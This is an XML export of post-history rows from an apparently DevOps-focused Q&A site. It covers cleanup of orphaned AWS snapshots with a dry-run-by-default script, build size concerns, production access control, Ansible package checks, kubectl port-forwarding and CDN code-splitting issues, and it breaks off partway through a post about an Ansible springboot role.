  <row Id="20389" PostHistoryTypeId="5" PostId="628" RevisionGUID="2d000468-5115-4dbc-8b3e-b9a72d58fa5d" CreationDate="2019-02-17T15:25:15.287" UserId="12305" Comment="Text output is tab-delimited, which causes the script to miss some snapshots. To avoid using tr, one can force each SnapshotId to be a separate array by enclosing it in []. No need for join(), either, in that case." Text="Largely inspired by the blog posts and gist already linked in the other answers, here is my take to the problem.&#xD;&#xA;&#xD;&#xA;I did use some convoluted [JMESpath](http://jmespath.org/) functions to get a list of snapshots and not require `tr`.&#xD;&#xA;&#xD;&#xA;*Disclaimer*: Use at your **own risks**, I did my best to avoid any problem and keep sane defaults, but I won't take any blame if it cause problem to you.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    # remove x if you don't want to see the commands&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'Snapshots[*].[SnapshotId]' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.[SnapshotId]' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; '&#xD;&#xA;    FNR==NR { snap[$1]++; next } # increment snapshots and get to next line in file immediately&#xD;&#xA;    &#xD;&#xA;    { snap[$1]-- } # we changed file, decrease the snap counter when a volume reference it&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;     for (s in snap) { # loop over the snapshots&#xD;&#xA;       if (snap[s] &gt; 0) { # if we did not decrese under 1 that means there is no volume referencing this snapshot&#xD;&#xA;        cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s&#xD;&#xA;        print(cmd)&#xD;&#xA;      }&#xD;&#xA;     }&#xD;&#xA;    }&#xD;&#xA;    ' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I hope the script itself is commented enough.&#xD;&#xA;&#xD;&#xA;Default usage (no-params) will list delete commands of orphaned snapshots for the current account and region eu-west-1, extract:&#xD;&#xA;&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-81e5856a&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-95c68c7e&#xD;&#xA;    aws --region eu-west-1 --dry-run ec2 delete-snapshot --snapshot-id snap-a3bf50bd&#xD;&#xA;&#xD;&#xA;You can redirect this output to a file for review before sourcing it to execute all the commands.&#xD;&#xA;&#xD;&#xA;If you want the script to execute the command instead of printing them, replace `print(cmd)` by `system(cmd)`.&#xD;&#xA;&#xD;&#xA;Usage is as follow with a script named `snap_cleaner`:&#xD;&#xA;&#xD;&#xA;for dry-run commands in us-west-1 region&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner no us-west-1&#xD;&#xA;&#xD;&#xA;for usable commands in eu-central-1&#xD;&#xA;&#xD;&#xA;    ./snap_cleaner IAMSURE eu-central-1 &#xD;&#xA;&#xD;&#xA;A third parameter can be used to access another account (I do prefer to switch role to another account before).&#xD;&#xA;&#xD;&#xA;Stripped down version of the script with awk script as a oneliner:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    set -ex&#xD;&#xA;    &#xD;&#xA;    # Some variable initialisation with sane defaults&#xD;&#xA;    DRUN='--dry-run'&#xD;&#xA;    DO_DELETE=${1:-'no'}&#xD;&#xA;    REGION=${2:-'eu-west-1'}&#xD;&#xA;    ACCOUNTID=${3:-'self'}&#xD;&#xA;    &#xD;&#xA;    # Get two temporary files&#xD;&#xA;    SNAP_FILE=$(mktemp)&#xD;&#xA;    IMAGE_FILE=$(mktemp)&#xD;&#xA;    &#xD;&#xA;    # Get the snapshot list and the volume list&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-snapshots --owner-ids &quot;$ACCOUNTID&quot; --query 'Snapshots[*].[SnapshotId]' --output text &gt; &quot;$SNAP_FILE&quot;&#xD;&#xA;    aws --region &quot;$REGION&quot; ec2 describe-images --owners &quot;$ACCOUNTID&quot; --filters Name=state,Values=available --query 'Images[*].BlockDeviceMappings[*].Ebs.[SnapshotId]' --output text &gt; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    &#xD;&#xA;    # Check if the outputed command should be dry-run (default) or not&#xD;&#xA;    if [ &quot;$DO_DELETE&quot; = &quot;IAMSURE&quot; ]&#xD;&#xA;    then&#xD;&#xA;     DRUN=''&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # count each snapshot id, decrease when a volume reference it, print delete command for those with no volumes&#xD;&#xA;    awk -v REGION=&quot;$REGION&quot; -v DRUN=&quot;$DRUN&quot; 'FNR==NR { snap[$1]++; next } { snap[$1]-- } END { for (s in snap) { if (snap[s] &gt; 0) { cmd=&quot;aws --region &quot; REGION &quot; &quot; DRUN &quot; ec2 delete-snapshot --snapshot-id &quot; s; print(cmd) } } }' &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;    # Clean up the temp files&#xD;&#xA;    rm &quot;$SNAP_FILE&quot; &quot;$IMAGE_FILE&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20390" PostHistoryTypeId="24" PostId="628" RevisionGUID="2d000468-5115-4dbc-8b3e-b9a72d58fa5d" CreationDate="2019-02-17T15:25:15.287" Comment="Proposed by 12305 approved by 40, 739 edit id of 943" ContentLicense="CC BY-SA 4.0" />
  <row Id="20394" PostHistoryTypeId="2" PostId="6398" RevisionGUID="843111bb-e4c3-48b5-868f-ff6158055887" CreationDate="2019-02-18T00:46:23.827" UserId="12474" Text="I often hear (from people, but also from informative CLIs) that the &quot;build/slug size is large&quot;. This is particularly so when the build is 0.5 - 2 GB in size&#xD;&#xA;&#xD;&#xA;Why (or under what circumstances) is build size such a concern? &#xD;&#xA;&#xD;&#xA;Note: the reason I ask is because I see resources like storage and compute as being relatively cheap compared to in the past, so, if anything, I would expect build size to be less of an issue now than in the past" ContentLicense="CC BY-SA 4.0" />
  <row Id="20395" PostHistoryTypeId="1" PostId="6398" RevisionGUID="843111bb-e4c3-48b5-868f-ff6158055887" CreationDate="2019-02-18T00:46:23.827" UserId="12474" Text="Why is build size such a concern?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20396" PostHistoryTypeId="3" PostId="6398" RevisionGUID="843111bb-e4c3-48b5-868f-ff6158055887" CreationDate="2019-02-18T00:46:23.827" UserId="12474" Text="&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20400" PostHistoryTypeId="50" PostId="6033" RevisionGUID="12394956-d4fd-471e-8564-4e88c7542dee" CreationDate="2019-02-18T09:03:00.627" UserId="-1" />
  <row Id="20401" PostHistoryTypeId="2" PostId="6400" RevisionGUID="7817c2ba-b272-47c8-9b13-ce522f4f5bdd" CreationDate="2019-02-18T09:05:22.443" UserId="6" Text="When I raise build size issue as a concern, it usually doesn't come from &quot;it is so big, it will be expensive to store it&quot;.&#xD;&#xA;&#xD;&#xA;The main problems with large builds are the following -&#xD;&#xA;&#xD;&#xA;* increased shipping time. moving big bits from place to place frequently is time consuming.&#xD;&#xA;* frequent changes to big artifacts plus a large enoug retention period make storing such artifacts become costly, less so with layered artifacts like docker images.&#xD;&#xA;* creating such big artifacts usually is time consuming, more so than creating much smaller artifacts. automating the process to create smaller artifacts might take time, but the automation that is repeatable should be as short as possible to allow for fast feedback.&#xD;&#xA;* recovering from failure (depending on configuration) might take more time with larger artifacts, especially when an older artifact needs to be reapplied instead of a faulty new-er one.&#xD;&#xA;&#xD;&#xA;I subscribe to the four devops metrics:&#xD;&#xA;&#xD;&#xA;- Lead time for changes - shorten it&#xD;&#xA;- Deployment frequency - increase the frequency&#xD;&#xA;- Time to restore service - shorten it&#xD;&#xA;- Change failure rate - reduce it to never&#xD;&#xA;&#xD;&#xA;Large artifacts usually create a problem in each of these metrics, and none of these metrics are really concerned with the cost of storage really - because that is cheap, time is expensive." ContentLicense="CC BY-SA 4.0" />
  <row Id="20402" PostHistoryTypeId="2" PostId="6401" RevisionGUID="9b5cf93d-60f4-496c-a2b7-df4cacdbd4a5" CreationDate="2019-02-18T10:43:30.493" UserId="12479" Text="To my way of thinking &quot;Docker&quot; is a better option. See for example this ebook https://goo.gl/s4z9TX.&#xD;&#xA;So, if you don't have serious reasons for VM, go Docker." ContentLicense="CC BY-SA 4.0" />
  <row Id="20408" PostHistoryTypeId="19" PostId="1305" RevisionGUID="398961a2-2b93-441d-921e-205a8ffa1cf6" CreationDate="2019-02-18T11:00:51.743" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="20409" PostHistoryTypeId="2" PostId="6402" RevisionGUID="5d27bea3-4e23-4c42-bbee-bbfc43b19d93" CreationDate="2019-02-18T11:27:18.773" UserId="12482" Text="In the company I work for, devops engineers (currently only 2 members, which are me and another coworker) are the only people who have access to the production database. &#xD;&#xA;&#xD;&#xA;So when any other developers need to execute a MySQL query on the production database. They would send the query to the 2 engineers to let them execute it. &#xD;&#xA;&#xD;&#xA;This creates a lot of interruptions for me the other coworker. When we develop programs during the daytime, we often have to switch context just to execute some queries.&#xD;&#xA;&#xD;&#xA;I don't think this is a good architecture for the company. How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Our production database consists of sensitive customer information. If the data were leaked out, out company might be fined for millions of dollars." ContentLicense="CC BY-SA 4.0" />
  <row Id="20410" PostHistoryTypeId="1" PostId="6402" RevisionGUID="5d27bea3-4e23-4c42-bbee-bbfc43b19d93" CreationDate="2019-02-18T11:27:18.773" UserId="12482" Text="How do you limit access to the production environment in the company you work for?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20411" PostHistoryTypeId="3" PostId="6402" RevisionGUID="5d27bea3-4e23-4c42-bbee-bbfc43b19d93" CreationDate="2019-02-18T11:27:18.773" UserId="12482" Text="&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20418" PostHistoryTypeId="2" PostId="6404" RevisionGUID="8b81f0a5-fa94-431f-a2cb-d7caccad140a" CreationDate="2019-02-18T15:23:54.443" UserId="7369" Text="i need to check more than 100 servers for the snapd package, but I don't like the output at all. I searched all day for different options without luck. Attached is the output of ansible-playbook. Any hints guys?  [![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA; - hosts: centos&#xD;&#xA;   become: true&#xD;&#xA;   tasks:&#xD;&#xA;    - name: Check Hostname&#xD;&#xA;      command: /usr/bin/hostname&#xD;&#xA;&#xD;&#xA;    - name: Check for package if is installed&#xD;&#xA;      yum:&#xD;&#xA;        list: snapd&#xD;&#xA;      register: result&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For checking the package version I tried with the following playbook but Ansible doesn't like the syntax:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA; - hosts: test2&#xD;&#xA;   become: true&#xD;&#xA;   tasks:&#xD;&#xA;    - name: Check Hostname&#xD;&#xA;      command: /usr/bin/hostname&#xD;&#xA;&#xD;&#xA;    - name: Check for package if is installed&#xD;&#xA;      yum:&#xD;&#xA;        list: snapd&#xD;&#xA;      register: package_name_version&#xD;&#xA;&#xD;&#xA;    - name: set package version&#xD;&#xA;      set_fact:&#xD;&#xA;        package_name_version: &quot;{{ package_name_version.results|selectattr('yumstate','equalto','installed')|map(attribute='version')|list|first }}&quot;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Juls&#xD;&#xA;  [1]: https://i.stack.imgur.com/eV6WZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="20419" PostHistoryTypeId="1" PostId="6404" RevisionGUID="8b81f0a5-fa94-431f-a2cb-d7caccad140a" CreationDate="2019-02-18T15:23:54.443" UserId="7369" Text="How can I check for an installed packaged version on multiple linux hosts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20420" PostHistoryTypeId="3" PostId="6404" RevisionGUID="8b81f0a5-fa94-431f-a2cb-d7caccad140a" CreationDate="2019-02-18T15:23:54.443" UserId="7369" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20422" PostHistoryTypeId="5" PostId="6393" RevisionGUID="3f5bbe46-d3c9-4f65-82ba-4bcee14cc9b8" CreationDate="2019-02-18T15:49:50.527" UserId="47" Comment="improved readability " Text="I am working with a microservices application that is using Ansible to deploy to a fleet of VMs. We have different numbers of replicas of each microservice type running across the VM fleet. Deployments are working fine using a single deploy playbook, passing it extra variables to say which service to install, and giving naming it a group of hosts in the inventory to run against.&#xD;&#xA;&#xD;&#xA;Occasionally we need to move microservices between hosts to rebalance load. This isn't clean with how we have set up Ansible. Moving one microservice instance means adding one new host entry, and removing one old host entry, from the inventory group. The new instance is installed but no logic will run against the removed host. We have to run another playbook to uninstall the service from the removed host. &#xD;&#xA;&#xD;&#xA;I am looking for a way to reorganize ansible so that it will quickly move a microservice. I am thinking that we should use a single inventory group of all hosts and use a list variable to say which hosts a microservice runs on. A custom fact can be set when a service is installed. The install task can check the fact and that the current host is in the list. The uninstall task can also check the fact and that the current host isn't in the list. Is this the right way to organise the logic or is there a better way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20423" PostHistoryTypeId="2" PostId="6405" RevisionGUID="20e6c596-bd3c-43d4-9b68-89160c3b0c0f" CreationDate="2019-02-18T17:30:27.600" UserId="47" Text="Complementing Evgeny's answer with a few more examples.&#xD;&#xA;&#xD;&#xA;What you mean by build size may matter a bit: &#xD;&#xA;&#xD;&#xA;- if it is the size of the artifact(s) being built (each one individually or their combined size) - that could matter in artifact storing or use/deployment operations if those operations have size limits and they are exceeded. For example Google App Engine apps has such [deployment limits][1], if reached deployments would fail, see [Error when deploying to Google App Engine][2].&#xD;&#xA;&#xD;&#xA;- if it is the size of the workspace in which you perform the build it may matter from the workspace management perspective. Even 2G may be significant - for example if you're building in a RAM filesystem on a machine with not a lot of RAM. But some builds could a lot bigger - I had to deal with 500G+ workspaces (when most of my server disks were below 1T).&#xD;&#xA;&#xD;&#xA;If the build is part of your CI/CD pipeline then the larger the build size the longer will the pipeline execution time be (performing the actual build and, if applicable, archiving, deploying for testing, analyzing in case of failure, cleaning up, etc.) - the slower/riskier/costlier your overall development may be.&#xD;&#xA;&#xD;&#xA;If you hit a hard limit you'll have to get creative to work around it (not always simple/possible). If it's just a performance/cost hit you also have the option of accepting and living with it and/or addressing it partially/gradually.&#xD;&#xA;&#xD;&#xA;It may be worthy to distinguish between:&#xD;&#xA;&#xD;&#xA;- bloated builds - when size is unnecessarily increased - fixing the problem is usually possible by dropping unnecessary parts&#xD;&#xA;- the cases in which the content of the build itself is what's really needed - the size doesn't matter as much - it is needed, the only way to address may be by sacrificing some functionality&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/quotas#Deployments&#xD;&#xA;  [2]: https://stackoverflow.com/questions/54190686/error-when-deploying-to-google-app-engine" ContentLicense="CC BY-SA 4.0" />
  <row Id="20424" PostHistoryTypeId="2" PostId="6406" RevisionGUID="dd79d1f7-c899-4b83-8aa5-97e8e5d9094e" CreationDate="2019-02-18T18:32:29.563" UserId="8251" Text="You could embed database schema and data changes into source code control by using a concept called database migrations. These can then be executed on dev and staging environments as part of a partially automated deployment process.&#xA;&#xA;For example in my environment (PHP Web application), I am using Doctrine Schema for schema updates, Yii2 migrations for data changes. The respective commands are part of a 7 line bash script that runs all necessary commands to deploy a change in each environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="20425" PostHistoryTypeId="2" PostId="6407" RevisionGUID="79f56669-d01a-4819-900d-c6d204f4839a" CreationDate="2019-02-18T20:32:56.997" UserId="12441" Text="If your question is how to manage database changes consider something like [Flyway][1]. This lets you control your changes via tracked config files in your repository and apply them via an automated &amp; controlled process - use your normal code review &amp; promotion steps.&#xD;&#xA;&#xD;&#xA;If the question is &quot;how do I get devs to stop bugging me to run arbitrary SQL commands&quot; then you may want to consider scripting out a way to automate it or giving them a 3rd party UI to use with an account that's locked down to prevent changes &amp; restricts them from seeing any sensitive tables. YMMV depending on the layout of your DB. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://flyway.dborg" ContentLicense="CC BY-SA 4.0" />
  <row Id="20426" PostHistoryTypeId="5" PostId="6402" RevisionGUID="8a2b41ea-f04c-4951-80e1-860ad69be029" CreationDate="2019-02-19T01:06:23.247" UserId="12482" Comment="deleted 2 characters in body" Text="In the company I work for, devops engineers (currently only 2 members, who are me and another coworker) are the only people who have access to the production database. &#xD;&#xA;&#xD;&#xA;So when any other developers need to execute a MySQL query on the production database. They would send the query to the 2 engineers to let them execute it. &#xD;&#xA;&#xD;&#xA;This creates a lot of interruptions for me the other coworker. When we develop programs during the daytime, we often have to switch context just to execute some queries.&#xD;&#xA;&#xD;&#xA;I don't think this is a good architecture for the company. How do you control the permissions to the production environment in your company?&#xD;&#xA;&#xD;&#xA;Our production database consists of sensitive customer information. If the data were leaked out, out company might be fined for millions of dollars." ContentLicense="CC BY-SA 4.0" />
  <row Id="20428" PostHistoryTypeId="2" PostId="6409" RevisionGUID="beae62e5-8109-4631-ba15-638ab9c402e5" CreationDate="2019-02-19T03:24:24.977" UserId="12489" Text="you can use the feature of port-forward using kubectl,&#xD;&#xA;&#xD;&#xA;    Examples:&#xD;&#xA;      # Listen on ports 5000 and 6000 locally, forwarding data to/from ports 5000 and 6000 in the pod&#xD;&#xA;      kubectl port-forward pod/mypod 5000 6000&#xD;&#xA;    &#xD;&#xA;      # Listen on ports 5000 and 6000 locally, forwarding data to/from ports 5000 and 6000 in a pod selected by the&#xD;&#xA;    deployment&#xD;&#xA;      kubectl port-forward deployment/mydeployment 5000 6000&#xD;&#xA;    &#xD;&#xA;      # Listen on port 8888 locally, forwarding to 5000 in the pod&#xD;&#xA;      kubectl port-forward pod/mypod 8888:5000&#xD;&#xA;    &#xD;&#xA;      # Listen on a random port locally, forwarding to 5000 in the pod&#xD;&#xA;      kubectl port-forward pod/mypod :5000 &#xD;&#xA;&#xD;&#xA;But if you want to expose your pod, so that other pods can communicate to it, use services. &#xD;&#xA;[K8s service][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20429" PostHistoryTypeId="2" PostId="6410" RevisionGUID="91b9d8ca-23a3-4bd3-9e29-2ec4f72eaece" CreationDate="2019-02-19T09:26:26.143" UserId="4570" Text="My current kubernetes setup has no open http port, for security reasons. But https is open and has a valid certificate.&#xD;&#xA;&#xD;&#xA;Still the jx installer of jenkins-x seems to require http in order to complete the install &#xD;&#xA;&#xD;&#xA;    jx install --on-premise --domain=nip.io&#xD;&#xA;    ... lots of messages ....&#xD;&#xA;    retrying after error:checking health of Jenkins server &quot;http://jenkins.jx.nip.io&quot;: pinging Jenkins server &quot;http://jenkins.jx.nip.io/login&quot;: executing ping request against URL &quot;http://jenkins.jx.nip.io/login&quot;: Get http://jenkins.jx.nip.io/login: dial tcp 10.2.0.25:80: connect: connection refused&#xD;&#xA;&#xD;&#xA;How can i enforce *https* which is open can be accessed? I don't see any obvious option to do that and neither i do find a documentation how to do this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20430" PostHistoryTypeId="1" PostId="6410" RevisionGUID="91b9d8ca-23a3-4bd3-9e29-2ec4f72eaece" CreationDate="2019-02-19T09:26:26.143" UserId="4570" Text="jenkins-x with &quot;jx&quot; installer: enforce https instead of http" ContentLicense="CC BY-SA 4.0" />
  <row Id="20431" PostHistoryTypeId="3" PostId="6410" RevisionGUID="91b9d8ca-23a3-4bd3-9e29-2ec4f72eaece" CreationDate="2019-02-19T09:26:26.143" UserId="4570" Text="&lt;jenkins&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20432" PostHistoryTypeId="2" PostId="6411" RevisionGUID="c6e215f0-d1dd-44ab-a89b-d4dae0346b34" CreationDate="2019-02-19T10:43:04.757" UserId="12495" Text="I have a web frontend app uses [code splitting](https://webpack.js.org/guides/code-splitting/) to reduce the individual file size. And it's distributed on a CDN and works most of the time.&#xD;&#xA;&#xD;&#xA;A problem occurs when we update the project at any time. Assume that our project consists of following files:&#xD;&#xA;&#xD;&#xA;- `index.html`&#xD;&#xA;- `main.1ef1a.js`(where `1ef1a`, as well as `bce31` in the next line, is content hash)&#xD;&#xA;- `on-demand.bce31.js`&#xD;&#xA;&#xD;&#xA;`index.html` imports `main.[content-hash].js` and `main.[content-hash].js` loads `on-demand.bce31.js` on demand.&#xD;&#xA;&#xD;&#xA;The error scenario is a user loads our page just before our update and he/she gets `index.html` and `main.1ef1a.js` and browser caches them. And then our update happens: we replace the files, flush the CDN, and following files are get distributed:&#xD;&#xA;&#xD;&#xA;- `index.html` now imports a new version of `main.js`&#xD;&#xA;- `main.2a3db.js`&#xD;&#xA;- `on-demand.5231f.js`&#xD;&#xA;&#xD;&#xA;Then user does something that triggers the loading of `on-demand.js`, while since his/her `main.js` is old, he/she requests `on-demand.bce31.js`, which no longer exists, and then the page crashes. &#xD;&#xA;&#xD;&#xA;He/she is a very nice user with patience and tries a refresh, but the browser serves the cached `index.html` and `main.js` again and he/she cannot get ouside the loop.&#xD;&#xA;&#xD;&#xA;We cannot assume our users to have certain knowledge to perform a &quot;Clean cache and force reload&quot;, all we get are disappointed users who think our website sucks.&#xD;&#xA;&#xD;&#xA;I think code splitting and CDN are both widely used techniques and there should be some nice solution that I'm missing. And what is that ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20433" PostHistoryTypeId="1" PostId="6411" RevisionGUID="c6e215f0-d1dd-44ab-a89b-d4dae0346b34" CreationDate="2019-02-19T10:43:04.757" UserId="12495" Text="Code splitting practice using CDN" ContentLicense="CC BY-SA 4.0" />
  <row Id="20434" PostHistoryTypeId="3" PostId="6411" RevisionGUID="c6e215f0-d1dd-44ab-a89b-d4dae0346b34" CreationDate="2019-02-19T10:43:04.757" UserId="12495" Text="&lt;cdn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20438" PostHistoryTypeId="2" PostId="6413" RevisionGUID="acb61723-908a-447f-b1a5-f30cb2d08727" CreationDate="2019-02-19T14:55:25.850" UserId="12441" Text="You don't need to edit /etc/groups since the LDAP group already exists in your LDAP database. You want to let SSH know to use it, try using the AllowGroups setting in /etc/ssh/sshd_config. &#xD;&#xA;&#xD;&#xA;From the manpage: &quot;If specified, login is allowed only for users whose primary &#xD;&#xA;group or supplementary group list matches one of the patterns.  Only group     names are valid; a numerical group ID is not recognized.  By default, login is allowed for all groups.&quot;&#xD;&#xA;&#xD;&#xA;See [this question for more information][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/50638944/ansible-to-update-sshd-config-file" ContentLicense="CC BY-SA 4.0" />
  <row Id="20439" PostHistoryTypeId="2" PostId="6414" RevisionGUID="6a02df01-a9de-42d6-bc56-0b9700c79dc9" CreationDate="2019-02-19T16:45:58.420" UserId="10599" Text="I have [created a demo with a role][1] that can install many springboot microservices on a fleet of VMs where you name a subset of the VMs that you want to install on. The playbook can then run on all hosts, compute whether each service should be on the host, and will either run the install or uninstall tasks. To install two microservices you play something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;roles:&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-registration&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.0.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;registration 8082&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8082/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-web&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.1.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;web 8083&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8083/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The role is based upon [orachide/ansible-role-springboot](https://github.com/orachide/ansible-role-springboot) which seems really comprehensive. The new bit is in bold which is simply a list of host that should run. &#xD;&#xA;&#xD;&#xA;In that example it is running a official [springboot microservices mega jar](https://github.com/simbo1905/microservices-demo) that takes different `RUN_AS` args to become a different service. That means that we have to change the microservice code to make an executable jar file: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;            &lt;plugin&gt;&#xD;&#xA;                &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;&#xD;&#xA;                &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;&#xD;&#xA;                &lt;configuration&gt;&#xD;&#xA;                    &lt;executable&gt;true&lt;/executable&gt;&#xD;&#xA;                &lt;/configuration&gt;&#xD;&#xA;            &lt;/plugin&gt;&#xD;&#xA;&#xD;&#xA;That original role has logic to install or uninstall based on `sb_app_state`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- import_tasks: install.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'present'&#xD;&#xA;&#xD;&#xA;- import_tasks: uninstall.yml&#xD;&#xA;  when: &gt;&#xD;&#xA;        sb_app_state == 'absent'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So its was simply a matter of adding some logic to check whether the current hostname is in the list then update the value of sb_app_state as appropriate. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/simbo1905/microservices-demo-ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="20440" PostHistoryTypeId="5" PostId="6414" RevisionGUID="cf138cbb-02b2-43f7-a43b-9f59f298985c" CreationDate="2019-02-19T16:53:06.150" UserId="10599" Comment="added 398 characters in body" Text="I have [created a demo with a role][1] that can install many springboot microservices on a fleet of VMs where you name a subset of the VMs where you want to place each service. The playbook can then run on all hosts, compute whether each service should be on each host, and will either run the install.yaml or uninstall.yml tasks. &#xD;&#xA;&#xD;&#xA;To install two of the same microservices with different runtime args you play something like:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;roles:&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-registration&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: &quot;2.0.0.RELEASE&quot;,&#xD;&#xA;      sb_app_run_args: '&quot;registration 8082&quot;',&#xD;&#xA;      sb_app_healthcheck_urls: [&#xD;&#xA;        &quot;http://localhost:8082/actuator/health&quot;&#xD;&#xA;      ],&#xD;&#xA;      &lt;b&gt;sb_hosts: [&#xD;&#xA;        &quot;my-test-vm&quot;&#xD;&#xA;      ]&lt;/b&gt;&#xD;&#xA;    }&#xD;&#xA;    - {&#xD;&#xA;      role: &quot;ansible-role-springboot&quot;,&#xD;&#xA;      sb_app_name: &quot;microservices-web&quot;,&#xD;&#xA;      sb_app_group_id: &quot;org.springframework.samples.service.service&quot;,&#xD;&#xA;      sb_app_artifact_id: &quot;microservices-demo&quot;,&#xD;&#xA;      sb_app_version: 